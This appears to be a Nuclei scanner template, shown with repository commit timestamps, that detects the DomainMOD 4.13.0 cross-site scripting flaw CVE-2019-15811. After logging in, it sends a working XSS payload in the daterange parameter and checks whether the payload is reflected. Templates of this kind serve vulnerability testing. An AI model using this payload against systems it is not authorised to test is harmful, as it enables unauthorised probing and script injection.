nuclei-templates/http/cves/2019/CVE-2019-15811.yaml

49 lines
1.4 KiB
YAML
Raw Normal View History

2022-07-16 07:01:56 +00:00
id: CVE-2019-15811
info:
name: DomainMOD <=4.13.0 - Cross-Site Scripting
2022-07-16 07:01:56 +00:00
author: arafatansari
severity: medium
description: |
DomainMOD through 4.13.0 contains a cross-site scripting vulnerability via /reporting/domains/cost-by-month.php in Daterange parameters.
2022-07-16 07:01:56 +00:00
reference:
- https://www.exploit-db.com/exploits/47325
- https://github.com/domainmod/domainmod/issues/108
- https://nvd.nist.gov/vuln/detail/CVE-2019-15811
- https://zerodays.lol/
2022-07-16 07:01:56 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-15811
cwe-id: CWE-79
2022-07-16 08:01:09 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
tags: cve,cve2019,domainmod,xss,authenticated,edb
2022-07-16 07:01:56 +00:00
http:
2022-07-16 07:01:56 +00:00
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_username={{username}}&new_password={{password}}
- |
2022-07-16 08:03:08 +00:00
GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1
2022-07-16 07:01:56 +00:00
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
2022-07-16 07:01:56 +00:00
max-redirects: 2
2022-07-16 08:01:09 +00:00
req-condition: true
2022-07-16 07:01:56 +00:00
matchers:
2022-07-16 08:01:09 +00:00
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
2022-07-16 08:03:08 +00:00
- 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")'
2022-07-18 07:27:56 +00:00
- 'contains(body_2, "DomainMOD")'
2022-07-16 08:01:09 +00:00
condition: and